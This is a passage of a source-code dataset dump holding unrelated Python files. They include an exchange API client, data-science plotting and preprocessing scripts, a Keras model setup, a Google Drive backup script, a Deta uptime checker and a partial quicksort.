socket.socket(socket.AF_INET,socket.SOCK_STREAM)\nserver.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\nserver.bind((localhost,port))\nprint('server started')\nprint('wait for client request..')\n\nwhile True:\n server.listen(1)\n clientsock,clientAddress = server.accept()\n newthread = ClientThread(clientAddress,clientsock)\n newthread.start()\n\n\n","sub_path":"multithread_server_b.py","file_name":"multithread_server_b.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"184361734","text":"# =========================================================================== #\n# BLOG #\n# =========================================================================== #\n'''\nThis module imports the data for the blog project. It corrects the\na few misspellings in the variable names and saves the data in the\ninterim data directory.\n'''\n\nimport os\nimport sys\nimport inspect\ncurrent = os.path.join(os.path.dirname(os.path.abspath(\n inspect.getfile(inspect.currentframe()))), \"src\")\nsys.path.append(current)\n\nimport pandas as pd\nimport numpy as np\nimport shutil\nfrom sklearn import model_selection\n\nfrom decorators import check_types\nfrom shared import directories\nfrom shared import filenames\nfrom shared import variables\n\n\n# --------------------------------------------------------------------------- #\n# DATA #\n# --------------------------------------------------------------------------- #\n\ndef read(directory, filename, vars):\n df = pd.read_csv(os.path.join(directory, filename),\n encoding=\"Latin-1\", low_memory=False)\n\n # Correct spelling\n df.rename({'sinsere_o': 'sincere_o',\n 'intellicence_important': 'intelligence_important',\n 'ambtition_important': 'ambition_important'},\n inplace=True,\n axis='columns')\n df.decision = np.where(df['decision'] == 0, \"no\", \"yes\")\n\n # Obtain variables of interest\n if vars:\n df = df[vars]\n # Obtain complete cases\n df = df.dropna()\n\n return(df)\n\n# --------------------------------------------------------------------------- #\n# SPLIT #\n# --------------------------------------------------------------------------- #\n\n\ndef split(df):\n np.random.seed(5)\n idx = np.random.rand(len(df)) < 0.8\n train = df[idx]\n test = df[~idx]\n return train, test\n\n# --------------------------------------------------------------------------- #\n# WRITE #\n# --------------------------------------------------------------------------- #\n\n\ndef write(df, directory, filename):\n if isinstance(df, pd.DataFrame):\n if isinstance(filename, str):\n if not os.path.isdir(directory):\n os.mkdir(directory)\n df.to_csv(os.path.join(directory, filename),\n index=False, index_label=False)\n return(True)\n else:\n return(False)\n else:\n return(False)\n\n\n# --------------------------------------------------------------------------- #\n# Main #\n# --------------------------------------------------------------------------- #\nif __name__ == \"__main__\":\n df = read(directories.RAW_DATA_DIR,\n filenames.RAW_FILENAME, variables.BLOG)\n train, test = split(df)\n write(train, directories.INTERIM_DATA_DIR, filenames.TRAIN_FILENAME)\n write(test, directories.INTERIM_DATA_DIR, filenames.TEST_FILENAME)\n","sub_path":"src/data/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"651880696","text":"# 将包含 n 个元素的数组向右旋转 k 步。\n# 例如,如果 n = 7 , k = 3,给定数组 [1,2,3,4,5,6,7] ,向右旋转后的结果为 [5,6,7,1,2,3,4]。\n# 注意:\n# 尽可能找到更多的解决方案,这里最少有三种不同的方法解决这个问题。\n# [显示提示]\n# 提示:\n# 要求空间复杂度为 O(1)\n\n\nclass Solution:\n def rotate(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n if len(nums) != 1:\n right = len(nums) - 1\n self.r(nums, k, right)\n # return nums\n\n def r(self, nums, k, right):\n temp = nums[k]\n for i in range(k + 1, right + 1):\n nums[i - 1] = nums[i]\n nums[right] = temp\n right -= 1\n k -= 1\n if k == -1:\n return\n # print(nums)\n self.r(nums, k, right)\n\n\nnums = [1, 2, 3, 4, 5, 6, 7]\nk = 3\nprint(Solution().rotate(nums, k))\n","sub_path":"array/U_189_easy_RotateArray.py","file_name":"U_189_easy_RotateArray.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"157182604","text":"#!/bin/python\n# -*- coding:utf-8 -*-\n\"\"\"\nSample file for the boxcar GAE/Python provider client\n\"\"\"\n\nimport logging\nfrom datetime import date, datetime\nfrom string import Template\nfrom boxcar import BoxcarApi\n\n\ndef real_main():\n \"\"\"Test boxcar api method.\"\"\"\n _api_key = 'xxxx'\n _api_sec = 'xxxxxxxx'\n _your_email = 'j@jondb.net'\n # instantiate a new instance of the boxcar api\n boxcar = BoxcarApi(_api_key,\n _api_sec,\n 'http://xxxxx.xxxx.xx.xx.xx.xxxxxxxxx.xxx/'\n 'xxxxxxxxxx.png')\n # send a broadcast (to all your subscribers)\n template = Template('Test Broadcast, this was sent at $date')\n message = template.substitute(date=date.today())\n boxcar.broadcast('Test Name', message)\n # send a message to a specific user, with an ID of 000-999\n template = Template('Hey $email this was sent')\n message = template.substitute(email=_your_email)\n boxcar.notify(_your_email,\n 'Test name',\n message,\n message_id=int(datetime.now().strftime('%f')) % 1000)\n\n\n\nlogging.getLogger().setLevel(logging.DEBUG)\n\n\nif __name__ == \"__main__\":\n real_main()","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"307618570","text":"import time\r\nimport requests\r\n\r\nfrom requests.adapters import HTTPAdapter\r\nfrom requests.packages.urllib3.util.retry import Retry\r\n\r\nfrom market_maker.settings import settings\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------\r\n# Config\r\n\r\nbase_url = 'https://fxadk.com/api/'\r\n\r\nsession = requests.Session()\r\nretries = Retry(total=5, backoff_factor=1, status_forcelist=[429, 500, 502, 503, 504])\r\nsession.mount('https://', HTTPAdapter(max_retries=retries))\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------\r\n# Public API\r\n\r\n\r\nclass FxAdkImpl(object):\r\n def __init__(self, api_key, api_secret):\r\n self.api_key = api_key\r\n self.api_secret = api_secret\r\n self.max_attempts = 5\r\n\r\n def get_post_json_impl(self, url, data, attempt=1):\r\n if attempt > 1:\r\n print('Attempt %i' % attempt)\r\n\r\n try:\r\n res = session.post(url, data)\r\n except:\r\n time.sleep(settings.API_ERROR_INTERVAL)\r\n\r\n if attempt > self.max_attempts:\r\n raise\r\n\r\n return self.get_post_json_impl(url, data, attempt=attempt+1)\r\n\r\n try:\r\n return res.json()\r\n except:\r\n print('FxADK error: %s' % res.content)\r\n\r\n time.sleep(settings.API_ERROR_INTERVAL)\r\n\r\n if attempt > self.max_attempts:\r\n raise\r\n\r\n return self.get_post_json_impl(url, data, attempt=attempt+1)\r\n\r\n def get_post_json(self, url, data):\r\n print('Calling %s' % url)\r\n post_json = self.get_post_json_impl(url, data)\r\n time.sleep(settings.API_REST_INTERVAL)\r\n return post_json\r\n\r\n def get_currency_details(self, url='%s%s' % (base_url, 'getCurrencies')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_pair_details(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getPairDetails')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_market_history(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getMarketHistory')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_buy_orders(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getBuyOrders')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_sell_orders(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getSellOrders')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n\r\n return res_json\r\n\r\n # ----------------------------------------------------------------------------------------------------------------------\r\n # Private API\r\n\r\n ORDER_ID_KEY = 'orderid'\r\n\r\n def create_order(self, amount=0.00000011, price=0.0, order='limit', type='buy', pair='ADK/BTC', url='%s%s' % (base_url, 'createOrder')):\r\n asset = pair.split('/')[0]\r\n\r\n pair = pair.replace('/', '_') # this will probably not be needed in the future\r\n\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'amount': amount,\r\n 'price': price,\r\n 'order': order,\r\n 'type': type,\r\n 'pair': pair,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n\r\n if self.ORDER_ID_KEY in res_json:\r\n order_id = res_json[self.ORDER_ID_KEY]\r\n print('Created order %s' % order_id)\r\n return res_json # return the whole order object\r\n\r\n print(res_json)\r\n raise RuntimeError('Failed to create order to %s %s %s' % (type, amount, asset))\r\n\r\n def cancel_order(self, order_id, url='%s%s' % (base_url, 'cancelOrder')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'orderid': order_id,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n\r\n if res_json.get('status') != 'success':\r\n raise RuntimeError('Failed to cancel order %s' % order_id)\r\n\r\n print('Successfully cancelled order %s' % order_id)\r\n\r\n def get_trade_history(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getTradeHistory')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_cancel_history(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getCancelHistory')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_stop_orders(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getStopOrders')):\r\n \"\"\"These are active stop loss orders\"\"\"\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_open_orders(self, pair='ADK/BTC', url='%s%s' % (base_url, 'getOpenOrders')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n 'pair': pair,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_withdraw_history(self, url='%s%s' % (base_url, 'getWithdrawhistory')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_deposit_history(self, url='%s%s' % (base_url, 'getDeposithistory')):\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n }\r\n \r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n def get_account_balance(self, url='%s%s' % (base_url, 'getAccountbalance')):\r\n \"\"\"Get account balance\"\"\"\r\n data = {\r\n 'api_key': self.api_key,\r\n 'api_secret': self.api_secret,\r\n }\r\n\r\n res_json = self.get_post_json(url, data)\r\n return res_json\r\n\r\n","sub_path":"market_maker/ws/fxadk_impl.py","file_name":"fxadk_impl.py","file_ext":"py","file_size_in_byte":7019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"395004903","text":"# test-addcol.py\nimport pytest\n\nfrom myspark import get_spark\nfrom addcol import with_status\n\nclass TestAppendCol(object):\n\n def test_with_status(self):\n source_data = [\n (\"pete\", \"pan\", \"peter.pan@databricks.com\"),\n (\"jason\", \"argonaut\", \"jason.argonaut@databricks.com\")\n ]\n source_df = get_spark().createDataFrame(\n source_data,\n [\"first_name\", \"last_name\", \"email\"]\n )\n\n actual_df = with_status(source_df)\n\n expected_data = [\n (\"pete\", \"pan\", \"peter.pan@databricks.com\", \"checked\"),\n (\"jason\", \"argonaut\", \"jason.argonaut@databricks.com\", \"checked\")\n ]\n expected_df = get_spark().createDataFrame(\n expected_data,\n [\"first_name\", \"last_name\", \"email\", \"status\"]\n )\n\n assert(expected_df.collect() == actual_df.collect())","sub_path":"test-addcol.py","file_name":"test-addcol.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"220704342","text":"import matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nimport numpy as np\nimport os\nimport sys\nfrom pylab import *\nmatplotlib.rcParams['font.family'] = \"serif\"\nfrom matplotlib import ticker\nfrom matplotlib.ticker import ScalarFormatter\n \npops = ['A','B','C','D']\na = [r'a = 4',r'a = 4',r'a = 4',r'a = 4']\nb = [r'b = 1',r'b = 2',r'b = 3',r'b = 4']\nc = [r'c = 0.5',r'c = 0.5',r'c = 0.5',r'c = 0.5']\n\nlabels = ['Susceptible','Infected','Resistant']\ncolors = ['yellowgreen','indianred','dodgerblue']\n\nfor i in range(0,4):\n\n\tfiles = ['benchmark/phaseportrait_'+pops[i]+str(j)+'.dat' for j in range(0,12)]\n\tplt.figure(figsize=(6,6))\n\tfig = plt.figure(1)\n\taxes = plt.gca()\n\taxes.set_xlim([0,1])\n\taxes.set_ylim([0,1])\n\taxes.tick_params(labelsize=12)\n\n\t# curves\n\tfor j in range(0,12):\n\t\tfile = np.loadtxt(files[j],unpack=True)\n\t\tplt.plot(file[1]/400,file[2]/400,linewidth=1,linestyle='-',color='darkcyan')\n\n\t# triangle boundary\n\tx = np.arange(0.0,1.0,0.01)\n\ty = 1.0-x\n\tplt.plot(x,y,linewidth=1,linestyle='--',color='k')\n\n\t# details\n\tplt.text(0.70, 0.8, a[i],fontsize=14)\n\tplt.text(0.70, 0.75, b[i],fontsize=14)\n\tplt.text(0.70, 0.7, c[i],fontsize=14)\n\n\tplt.legend(loc=1, shadow=True, fontsize=12)\n\tplt.xlabel(r'$S/N$', fontsize=12, weight='normal', family='serif')\n\tplt.ylabel(r'$I/N$', fontsize=12, weight='normal', family='serif')\n\tplt.title(r'Phase Portrait for Population '+pops[i], fontsize=12, weight='normal', family='serif')\n\t#plt.grid()\n\tplt.tight_layout()\n\n\tfigname = 'phaseportrait_'+pops[i]+'.png'\n\tplt.savefig(figname, format='png')\n\tos.system('okular '+figname)\n\tplt.clf()\n\n\n","sub_path":"project4/report/phaseportrait.py","file_name":"phaseportrait.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"86850388","text":"\n# coding: utf-8\n\n# In[152]:\n\nimport numpy as np\nimport pandas as pd\nimport requests, zipfile, io\n\n# import in the data file:\nr = requests.get(\"http://s3.amazonaws.com/datashader-data/nyc_taxi.zip\")\nz = zipfile.ZipFile(io.BytesIO(r.content))\nz.extractall('.')\n\n\ntaxi = pd.read_csv(\"nyc_taxi.csv\").rename(columns = str.lower).rename(columns={'tpep_pickup_datetime': 'pickup_date', 'tpep_dropoff_datetime' : 'dropoff_date' })\n\ntaxi = taxi.assign(pickup_date = lambda x: pd.to_datetime(x['pickup_date'], format = '%Y-%m-%d %H:%M:%S'),\n dropoff_date = lambda x: pd.to_datetime(x['dropoff_date'], format = '%Y-%m-%d %H:%M:%S'))\n\ntaxi = taxi.set_index(['pickup_date'])\n\n\n# In[154]:\n\ntaxi.columns\n\n\n# In[155]:\n\ntaxi.sample(10)\n\n\n# In[156]:\n\ntaxi.dtypes\n\n\n# In[157]:\n\ntaxi = taxi.assign(pickup_hour = taxi.index.hour)\ntaxi.sample(10)\n\n\n# In[158]:\n\n# number of days covered by this dataset?\n# len(taxi.pickup_date.dt.day.unique()) # 31\n\n\n\n# In[159]:\n\ntaxi.sort_index(inplace=True)\n\nx = pd.DataFrame(taxi.groupby(['pickup_hour'])['pickup_hour'].count())\nx = x.assign(avg = x.pickup_hour / 31)\nx['hour'] = x.index\nx\n\n\n# In[160]:\n\nfrom bokeh.io import output_notebook, show, output_file, curdoc\nfrom bokeh.plotting import figure\nfrom bokeh.models import ColumnDataSource, CategoricalColorMapper, HoverTool\nfrom bokeh.layouts import gridplot\nfrom bokeh.charts import Bar, output_file, show\nfrom bokeh.palettes import Viridis\n\n\n\n# In[161]:\n\n\nsource = ColumnDataSource(x)\n\noutput_notebook()\np1 = figure(x_axis_label = \"hour\", y_axis_label = \"average number of rides per hour\", title = \"average number of Uber rides per hour in Jan 2015\")\np1.line('hour', 'avg', source = source, line_width = 5, color = \"#E84F22\")\np1.circle('hour', 'avg', source = source, color = '#E84F22', size = 8, line_width = 0)\n\nshow(p1)\n\n\n# In[162]:\n\nx = pd.DataFrame(taxi.groupby(['pickup_hour'])['tip_amount'].mean())\nx['hour'] = x.index\nx\n\n\n\n# In[163]:\n\nsource = ColumnDataSource(x)\n\noutput_notebook()\np1 = figure(x_axis_label = \"hour\", y_axis_label = \"average tip amount\", title = \"average tip given per hour in Jan 2015\")\np1.circle('hour', 'tip_amount', source = source, color = '#F2C500', size = 8, line_width = 0)\np1.line('hour', 'tip_amount', source = source, line_width = 5, line_color = '#F2C500')\nshow(p1)\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"uber.py","file_name":"uber.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"511168361","text":"import os.path\r\nfrom googleapiclient.discovery import build\r\nfrom google_auth_oauthlib.flow import InstalledAppFlow\r\nfrom google.auth.transport.requests import Request\r\nfrom google.oauth2.credentials import Credentials\r\nfrom apiclient.http import MediaFileUpload\r\nfrom datetime import datetime\r\nimport os\r\n\r\n\r\nclass MyDrive():\r\n def __init__(self):\r\n # If modifying these scopes, delete the file token.json.\r\n SCOPES = ['https://www.googleapis.com/auth/drive']\r\n \"\"\"Shows basic usage of the Drive v3 API.\r\n Prints the names and ids of the first 10 files the user has access to.\r\n \"\"\"\r\n creds = None\r\n # The file token.json stores the user's access and refresh tokens, and is\r\n # created automatically when the authorization flow completes for the first\r\n # time.\r\n if os.path.exists('token.json'):\r\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\r\n # If there are no (valid) credentials available, let the user log in.\r\n if not creds or not creds.valid:\r\n if creds and creds.expired and creds.refresh_token:\r\n creds.refresh(Request())\r\n else:\r\n flow = InstalledAppFlow.from_client_secrets_file(\r\n 'credentials.json', SCOPES)\r\n creds = flow.run_local_server(port=0)\r\n # Save the credentials for the next run\r\n with open('token.json', 'w') as token:\r\n token.write(creds.to_json())\r\n\r\n self.service = build('drive', 'v3', credentials=creds)\r\n\r\n def list_files(self,page_size=10):\r\n # Call the Drive v3 API\r\n results = self.service.files().list(\r\n pageSize=page_size, fields=\"nextPageToken, files(id, name)\").execute()\r\n items = results.get('files', [])\r\n\r\n if not items:\r\n print('No files found.')\r\n else:\r\n print('Files:')\r\n for item in items:\r\n print(u'{0} ({1})'.format(item['name'], item['id']))\r\n \r\n def upload_files(self,filename,path):\r\n\r\n flag = 0\r\n\r\n folder_id = \"1G0oukOhiLXfazn2nrQCyVFZgweOhcSUV\"\r\n media = MediaFileUpload(f\"{path}{filename}\")\r\n\r\n response = self.service.files().list(\r\n q=f\"name='{filename}' and parents='{folder_id}'\",\r\n spaces='drive',\r\n fields='nextPageToken,files(id,name)',\r\n pageToken = None\r\n ).execute()\r\n\r\n if len(response['files']) == 0:\r\n file_metadata = {\r\n 'name':filename,\r\n 'parents':[folder_id]\r\n }\r\n file = self.service.files().create(body=file_metadata,media_body=media,fields='id').execute()\r\n print(f\"A new file was created in backup, {file.get('id')}\")\r\n flag = 1\r\n else:\r\n for file in response.get('files',[]):\r\n update_file = self.service.files().update(\r\n fileId = file.get('id'),\r\n media_body = media\r\n ).execute()\r\n print(update_file)\r\n print(f\"File Updated\")\r\n flag = 1\r\n myfile = open(\"Backup_log.txt\",\"a\")\r\n now = datetime.now()\r\n date_time = now.strftime(\"%m/%d/%Y, %H:%M:%S\")\r\n\r\n if(flag):\r\n myfile.write(date_time+\" backup_successful \"+path+\"\\n\")\r\n else:\r\n myfile.write(date_time+\" backup_failed due to network/path error \\n\")\r\n \r\n myfile.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef main():\r\n\r\n path=\"C:/Users/HIMANSHU/Desktop/Backup/\"\r\n files = os.listdir(path)\r\n my_drive = MyDrive()\r\n # my_drive.list_files()\r\n\r\n for itr in files:\r\n my_drive.upload_files(itr,path)\r\n \r\n\r\n \r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"16967943","text":"from datetime import datetime\nimport logging\nimport os\nimport re\nimport requests\nfrom deta import App\nfrom deta import Deta\nfrom fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\n\ndeta = Deta()\napp = App(FastAPI())\ndb = deta.Base(\"admetsar2\")\nemaildb = deta.Base(\"emails\")\norigins = [\n \"http://localhost:8000\",\n \"https://zealseeker.github.io\"\n]\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n# Status List: Success, Server Down, Connection Issue, Diagnosing\nSUCCESS = 1\nSERVER_DOWN = 2\nCONNECTION_ISSUE = 3\nDIAGNOSING = 4\nERROR = -1\n\nEMAIL_FROM = 'auto@zealseeker.com'\nEMAIL_HOST = 'smtp.ym.163.com'\nEMAIL_PORT = 994\nEMAIL_PASSWORD = os.environ.get('EMAIL_PASSWORD')\nEMAIL_FROM_NAME = 'admetSAR'\n\n@app.get(\"/\")\ndef http():\n return \"Hello Deta, I am running with HTTP\"\n\n@app.get('/subscribe')\ndef subscribe(email=None):\n # verify email format\n if not re.findall(\"^[^@\\s]+@[^@\\s]+\\.[^@\\s]+$\", email):\n return {'Success': False, 'msg': 'Wrong email format'}\n if email is not None:\n if emaildb.fetch({'email': email, 'reason': 'subscribe',}).items:\n return {'success': False, 'msg': 'You have already subscribed'}\n emaildb.insert({'email': email, 'reason': 'subscribe', 'notified': False})\n return {'success': True}\n else:\n return {}\n\n@app.get(\"/get_status\")\ndef get_status():\n status = db.get('status')\n last_success = db.get('last_success')\n if last_success:\n date = last_success['date']\n else:\n date = None\n infos = {\n SUCCESS: 'The server is working',\n CONNECTION_ISSUE:'The network has been blocked',\n SERVER_DOWN: 'The server is down, we are fixing the problem',\n DIAGNOSING: 'We are diagnosing the problem'\n }\n if status['status'] in infos:\n info =infos[status['status']]\n else:\n info = None\n r = {'status': status, 'last_success_date': date, 'info': info}\n return r\n\n@app.lib.run()\n@app.lib.cron()\ndef cron_job(event):\n host_ok = False\n server_ok = False\n try:\n r = requests.get(\"http://lmmd.ecust.edu.cn\", timeout=3)\n if r.status_code == 200:\n host_ok = True\n except:\n pass \n try:\n r = requests.get(\"http://lmmd.ecust.edu.cn/admetsar2\", timeout=3)\n if r.status_code == 200:\n server_ok = True\n except:\n pass\n logging.info(\"Test logging\")\n last_try = db.get('last_try')\n if host_ok and server_ok:\n status = SUCCESS\n if last_try and last_try['status'] != SUCCESS:\n if last_try['times'] >= 3:\n send_success_email()\n notify_subscriptors()\n db.put({'status': SUCCESS}, 'status')\n db.put({'status': SUCCESS, 'times': 0}, 'last_try')\n db.put({'date': datetime.isoformat(datetime.utcnow())}, 'last_success')\n return 'Success'\n elif host_ok and not server_ok:\n status = SERVER_DOWN\n elif not host_ok and not server_ok:\n status = CONNECTION_ISSUE\n else:\n status = ERROR\n if status == DIAGNOSING:\n return 'Success'\n if not last_try:\n last_try = {'status': status, 'times': 1}\n elif last_try['status'] == status:\n if last_try['times'] == 3:\n send_alert()\n logging.error('Sending Email')\n last_try['times'] += 1\n db.put(last_try, 'last_try')\n else:\n last_try['status'] = status\n last_try['times'] = 1\n db.put({'status': status}, 'status')\n last_try['date'] = datetime.isoformat(datetime.utcnow())\n db.put(last_try, 'last_try')\n return status\n\ndef send_alert():\n emaildb.insert({'email': 'yanyanghong@163.com', 'reason': 'alert', 'notified': False})\n emaildb.insert({'email': '490579089@qq.com', 'reason': 'alert', 'notified': False})\n\ndef send_success_email():\n emaildb.insert({'email': 'yanyanghong@163.com', 'reason': 'success', 'notified': False})\n emaildb.insert({'email': '490579089@qq.com', 'reason': 'success', 'notified': False})\n\ndef notify_subscriptors():\n for each in emaildb.fetch({'reason': 'subscribe'}).items:\n each['reason'] = 'success'\n emaildb.put(each)\n","sub_path":"deta/check_state/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"429492056","text":"from __future__ import print_function\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential,Model\nfrom keras.layers import Dense, Embedding,Convolution1D,Input,Multiply,Dropout,Activation\nfrom keras.callbacks import ModelCheckpoint,EarlyStopping\nfrom keras.preprocessing.text import Tokenizer\nfrom nested_lstm import NestedLSTM\nimport keras\nfrom ind_rnn import IndRNN\nimport logging\nimport tensorflow as tf\nfrom keras import optimizers\nfrom group_norm import GroupNormalization\n\ndef Args():\n # 参数\n flags = tf.flags\n flags.DEFINE_string(\"dataName\", \"IMDB\", \"dataName IMDB yelp13 yelp15\") # 训练集的名字\n flags.DEFINE_string(\"train\", \"../data/IMDB/train.txt\", \"PATH_TO_TRAIN\") # 训练集的路径\n flags.DEFINE_string(\"test\", \"../data/IMDB/test.txt\", \"PATH_TO_TEST\") # 测试集的路径\n flags.DEFINE_string(\"val\", \"../data/IMDB/dev.txt\", \"PATH_TO_val\") # 测试集的路径\n flags.DEFINE_integer(\"batch_size\", 64, \"batch_size 32 64 128 256 512 1024\") # 训练批次的大小\n flags.DEFINE_integer(\"epochs\", 15, \"epochs\") # 训练批次\n flags.DEFINE_integer(\"units\", 128, \"units 32 64 128 256 512 1024\") # 神经单元的个数\n flags.DEFINE_integer(\"num_classes\", 10, \"num_classes 5 10\") # 类别的个数\n flags.DEFINE_string(\"optimizer\", \"adam\", \"optimizer\") # 优化函数\n #flags.DEFINE_float(\"lr\", 0.001, \"learning_rate\") # 学习率\n flags.DEFINE_float(\"dropout\", 0.5, \"dropout\")\n flags.DEFINE_integer(\"maxlen\", 2000, \"num_classes\") # number of words\n #flags.DEFINE_float(\"decay\", 0.0001, \"decay\")\n flags.DEFINE_string(\"Name\", \"LocalAttention_indRnn\", \"Name\") # 程序名字\n FLAGS = flags.FLAGS\n\n return FLAGS\n\n#数据处理\ndef predataset(file):\n train=[]\n label=[]\n max_len=0\n with open(file,encoding=\"utf8\") as file:\n for line in file:\n temp=line.split(\"\\t\\t\")\n train.append(temp[3])\n label.append(int(temp[2])-1)\n if max_len 0:\n if float(components[0]) != 1.0:\n oneTestFeatures.append(components)\n else:\n alltestFeatures.append(oneTestFeatures);\n oneTestFeatures = [];\n\n\n\nallTestSimplifiedMan = []\nTestframes = []\nfor oneMan in alltestFeatures:\n timeLength = len(oneMan)\n simplifiedMan = []\n step = timeLength / (bins - 1); \n for i in range(0, 12):#because there are 12 lines\n simplifiedMan.append([])\n for b in range(0,bins):\n bias = round(b*step) if round(b*step) < timeLength else -1;\n simplifiedMan[-1].append(oneMan[bias][i])\n\n df = pd.DataFrame(simplifiedMan)\n df = df.transpose()\n Testframes.append(df)\n\n allTestSimplifiedMan.append(simplifiedMan)\n\nTestingFlattendFeatures = pd.concat(Testframes) #this is the picked data of all.\n\nX = TrainingFlattendFeatures.values # getting all values as a matrix of dataframe \nX_test = TestingFlattendFeatures.values\n\nsc = StandardScaler() # creating a StandardScaler object\nX_std = sc.fit_transform(X) # standardizing the data\nX_test_std = sc.fit_transform(X_test)\n\npca = PCA(n_components = 0.95)\nX_pca = pca.fit_transform(X_std) # this will fit and reduce dimensions\nX_pca_test = pca.fit_transform(X_test_std)\n\nprincipalDf = pd.DataFrame(data = X_pca)\nprincipalTestDf = pd.DataFrame(data=X_pca_test)\n\nAllTraningDataAppliedPCA = []\nfor i in range(0,270):\n onePar = principalDf.iloc[0:6, :]\n parlist = onePar.values.tolist()\n AllTraningDataAppliedPCA.append(parlist)\n\nPCADataframe = pd.DataFrame(AllTraningDataAppliedPCA)\nPCADataframe.to_csv('CPA_forward_training_taking_6.csv')\n\nAllTestingDataAppliedPCA = []\nprint(principalTestDf.shape[0])\nTestingCount = round(principalTestDf.shape[0]/ 6) \nfor i in range(0, TestingCount):\n onePar = principalTestDf.iloc[0:6, :]\n parlist = onePar.values.tolist()\n AllTestingDataAppliedPCA.append(parlist)\n\nTestingPCADF = pd.DataFrame(AllTestingDataAppliedPCA)\nTestingPCADF.to_csv('CPA_forward_testing_taking_6.csv')\n\n\n\n\n\n\n\n","sub_path":"Preprocessed/PCAAfterSelection/selectthenPCA.py","file_name":"selectthenPCA.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"325178610","text":"\"\"\"\n快速排序(c语言底层实现)\n\"\"\"\n# 从列表中选出一个中心点pivot,将比中心点小的元素,全部移动到中心点的左侧\n#将比中心点大的元素,全部移动到中心点的右侧\ndef quick(li,left ,right):\n if leftli[left]:\n left+=1\n li[right]=li[left]\n 